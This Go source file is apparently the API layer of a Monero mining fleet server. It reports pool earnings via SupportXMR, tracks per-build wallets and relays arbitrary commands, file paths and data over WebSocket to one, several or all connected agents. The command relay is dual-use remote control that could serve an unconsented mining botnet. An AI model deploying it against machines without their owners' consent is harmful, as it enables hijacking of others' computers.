package api

import (
	"encoding/json"
	"fmt"
	"io"
	"log"
	"net/http"
	"strconv"
	"sync"
	"time"

	"crypto-miner-server/internal/alerts"
	"crypto-miner-server/internal/db"
	"crypto-miner-server/internal/pool"

	"github.com/go-chi/chi/v5"
)

type FleetHandler struct {
	db          *db.Database
	ws          *WSHub
	ai          *AIHandler
	pools       *pool.Manager
	alerts      *alerts.Evaluator
	defaultPool pool.Config

	// Real-earnings cache (avoids hammering the pool API)
	earningsMu    sync.Mutex
	earningsCache map[string]*poolEarningsCache
}

type poolEarningsCache struct {
	data      map[string]interface{}
	fetchedAt time.Time
}

const earningsCacheTTL = 5 * time.Minute

func NewFleetHandler(database *db.Database, ws *WSHub, ai *AIHandler, pools *pool.Manager, evaluator *alerts.Evaluator, defaultPool pool.Config) *FleetHandler {
	return &FleetHandler{
		db:          database,
		ws:          ws,
		ai:          ai,
		pools:       pools,
		alerts:      evaluator,
		defaultPool: defaultPool,
	}
}

func (f *FleetHandler) GetAlerts(w http.ResponseWriter, r *http.Request) {
	if f.alerts == nil {
		writeJSON(w, []alerts.AlertEvent{})
		return
	}
	writeJSON(w, f.alerts.ActiveAlerts())
}

func (f *FleetHandler) GetPoolStatus(w http.ResponseWriter, r *http.Request) {
	if f.pools == nil {
		writeJSON(w, []pool.PoolStatus{})
		return
	}
	writeJSON(w, f.pools.ListStatus())
}

func (f *FleetHandler) GetAIActivity(w http.ResponseWriter, r *http.Request) {
	if f.ai == nil {
		writeJSON(w, []AIActivityEntry{})
		return
	}
	writeJSON(w, f.ai.ActivitySnapshot())
}

// GetEarningsEstimate — kept for backwards compat; delegates to GetEarnings.
func (f *FleetHandler) GetEarningsEstimate(w http.ResponseWriter, r *http.Request) {
	f.GetEarnings(w, r)
}

// GetEarnings returns real pool stats for the configured wallet when the pool
// is SupportXMR-compatible (REST API available). Falls back to formula estimate.
func (f *FleetHandler) GetEarnings(w http.ResponseWriter, r *http.Request) {
	hashrate := parseFloatQuery(r, "hashrate", 0)
	estimate := EstimateXMRPerDay(hashrate)

	// Determine wallet from query param or server config
	wallet := r.URL.Query().Get("wallet")
	if wallet == "" && f.db != nil {
		// Try to read the wallet from the most recent build record
		if builds, err := f.db.ListBuilds(1); err == nil && len(builds) > 0 {
			wallet = builds[0].Wallet
		}
	}

	if wallet == "" {
		writeJSON(w, estimate)
		return
	}

	// Try SupportXMR REST API
	real, err := f.fetchPoolEarnings(wallet)
	if err != nil {
		log.Printf("[earnings] pool API error (%s): %v — using estimate", wallet[:min(8, len(wallet))], err)
		writeJSON(w, estimate)
		return
	}

	// Merge pool data over the estimate
	for k, v := range real {
		estimate[k] = v
	}
	estimate["source"] = "pool_api"
	writeJSON(w, estimate)
}

func (f *FleetHandler) fetchPoolEarnings(wallet string) (map[string]interface{}, error) {
	f.earningsMu.Lock()
	if f.earningsCache == nil {
		f.earningsCache = map[string]*poolEarningsCache{}
	}
	if cached, ok := f.earningsCache[wallet]; ok && time.Since(cached.fetchedAt) < earningsCacheTTL {
		data := cached.data
		f.earningsMu.Unlock()
		return data, nil
	}
	f.earningsMu.Unlock()

	url := fmt.Sprintf("https://supportxmr.com/api/miner/%s/stats", wallet)
	client := &http.Client{Timeout: 8 * time.Second}
	resp, err := client.Get(url) //nolint:gosec
	if err != nil {
		return nil, err
	}
	defer resp.Body.Close()
	if resp.StatusCode != http.StatusOK {
		return nil, fmt.Errorf("pool API returned %s", resp.Status)
	}
	body, err := io.ReadAll(io.LimitReader(resp.Body, 32*1024))
	if err != nil {
		return nil, err
	}

	var raw map[string]interface{}
	if err := json.Unmarshal(body, &raw); err != nil {
		return nil, err
	}

	// Normalise SupportXMR fields into our API format
	const piconeroPerXMR = 1e12
	result := map[string]interface{}{}
	if v, ok := raw["amtDue"].(float64); ok {
		result["pending_xmr"] = v / piconeroPerXMR
	}
	if v, ok := raw["amtPaid"].(float64); ok {
		result["paid_xmr"] = v / piconeroPerXMR
	}
	if v, ok := raw["totalHashes"].(float64); ok {
		result["total_hashes"] = v
	}
	if v, ok := raw["hashRate"].(float64); ok {
		result["pool_hashrate"] = v
	}
	if v, ok := raw["lastPaymentTs"].(float64); ok && v > 0 {
		result["last_payment_time"] = time.Unix(int64(v), 0).UTC().Format(time.RFC3339)
	}
	if v, ok := raw["lastPayment"].(float64); ok {
		result["last_payment_xmr"] = v / piconeroPerXMR
	}

	f.earningsMu.Lock()
	f.earningsCache[wallet] = &poolEarningsCache{data: result, fetchedAt: time.Now()}
	f.earningsMu.Unlock()

	return result, nil
}

func min(a, b int) int {
	if a < b {
		return a
	}
	return b
}

func (f *FleetHandler) GetAgentLog(w http.ResponseWriter, r *http.Request) {
	id := chi.URLParam(r, "id")
	if f.ws == nil {
		http.Error(w, "websocket hub unavailable", http.StatusServiceUnavailable)
		return
	}
	content := f.ws.GetAgentLog(id)
	if r.URL.Query().Get("refresh") == "1" {
		// Fire the get_log command and return immediately — the response arrives
		// via the WebSocket command_result broadcast (fixes M18: no more 1.8s block).
		// The dashboard will receive the log content via the commandResults queue.
		_ = f.ws.SendAgentCommand(id, "get_log", map[string]interface{}{"tail_lines": 300})
	}
	writeJSON(w, map[string]interface{}{
		"agent_id": id,
		"content":  content,
	})
}

type agentCommandRequest struct {
	Action    string `json:"action"`
	TailLines int    `json:"tail_lines,omitempty"`
	Command   string `json:"command,omitempty"`
	Path      string `json:"path,omitempty"`
	Data      string `json:"data,omitempty"`
}

func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request) {
	id := chi.URLParam(r, "id")
	if id == "" {
		http.Error(w, "agent id is required", http.StatusBadRequest)
		return
	}
	var req agentCommandRequest
	if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
		http.Error(w, "invalid command", http.StatusBadRequest)
		return
	}
	if req.Action == "" {
		http.Error(w, "action is required", http.StatusBadRequest)
		return
	}
	if f.ws == nil {
		http.Error(w, "websocket hub unavailable", http.StatusServiceUnavailable)
		return
	}
	args := map[string]interface{}{}
	if req.TailLines > 0 {
		args["tail_lines"] = req.TailLines
	}
	if req.Command != "" {
		args["command"] = req.Command
	}
	if req.Path != "" {
		args["path"] = req.Path
	}
	if req.Data != "" {
		args["data"] = req.Data
	}

	if id == "all" {
		if f.ws.connectedAgentCount() == 0 {
			writeJSON(w, map[string]interface{}{
				"success":  false,
				"error":    "no connected agents",
				"agent_id": id,
				"action":   req.Action,
			})
			return
		}
		f.ws.BroadcastAgentCommand(req.Action, args)
	} else {
		if err := f.ws.SendAgentCommand(id, req.Action, args); err != nil {
			http.Error(w, err.Error(), http.StatusBadRequest)
			return
		}
	}
	writeJSON(w, map[string]interface{}{
		"success":  true,
		"agent_id": id,
		"action":   req.Action,
	})
}

type agentMetaRequest struct {
	Notes string   `json:"notes"`
	Tags  []string `json:"tags"`
}

func (f *FleetHandler) PutAgentMeta(w http.ResponseWriter, r *http.Request) {
	id := chi.URLParam(r, "id")
	if id == "" {
		http.Error(w, "agent id is required", http.StatusBadRequest)
		return
	}
	var req agentMetaRequest
	if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
		http.Error(w, "invalid body", http.StatusBadRequest)
		return
	}
	if _, err := f.db.GetAgent(id); err != nil {
		http.Error(w, "agent not found", http.StatusNotFound)
		return
	}
	if err := f.db.UpdateAgentMeta(id, req.Notes, req.Tags); err != nil {
		http.Error(w, err.Error(), http.StatusInternalServerError)
		return
	}
	agent, _ := f.db.GetAgent(id)
	writeJSON(w, map[string]interface{}{"success": true, "agent": agent})
}

type bulkCommandRequest struct {
	AgentIDs []string `json:"agent_ids"`
	Action   string   `json:"action"`
	Command  string   `json:"command,omitempty"`
}

func (f *FleetHandler) PostBulkCommand(w http.ResponseWriter, r *http.Request) {
	if f.ws == nil {
		http.Error(w, "websocket hub unavailable", http.StatusServiceUnavailable)
		return
	}
	var req bulkCommandRequest
	if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
		http.Error(w, "invalid body", http.StatusBadRequest)
		return
	}
	if req.Action == "" {
		http.Error(w, "action is required", http.StatusBadRequest)
		return
	}
	if len(req.AgentIDs) == 0 {
		writeJSON(w, map[string]interface{}{
			"success": false,
			"error":   "agent_ids is required",
		})
		return
	}

	args := map[string]interface{}{}
	if req.Command != "" {
		args["command"] = req.Command
	}

	sent := 0
	failed := 0
	for _, id := range req.AgentIDs {
		if err := f.ws.SendAgentCommand(id, req.Action, args); err != nil {
			failed++
		} else {
			sent++
		}
	}
	writeJSON(w, map[string]interface{}{
		"success": sent > 0,
		"sent":    sent,
		"failed":  failed,
		"action":  req.Action,
	})
}

// EstimateXMRPerDay uses approximate network hashrate (~3 GH/s) and daily emission (~432 XMR).
func EstimateXMRPerDay(hashrate float64) map[string]interface{} {
	const networkHashrate = 3_000_000_000.0
	const dailyEmissionXMR = 432.0
	xmr := 0.0
	if hashrate > 0 && networkHashrate > 0 {
		xmr = (hashrate / networkHashrate) * dailyEmissionXMR
	}
	return map[string]interface{}{
		"hashrate":         hashrate,
		"xmr_per_day":      xmr,
		"usd_per_day":      nil,
		"network_hashrate": networkHashrate,
		"note":             "Approximate estimate based on ~3 GH/s network hashrate; actual earnings vary with difficulty and pool luck.",
	}
}

func parseFloatQuery(r *http.Request, key string, def float64) float64 {
	v := r.URL.Query().Get(key)
	if v == "" {
		return def
	}
	f, err := strconv.ParseFloat(v, 64)
	if err != nil {
		return def
	}
	return f
}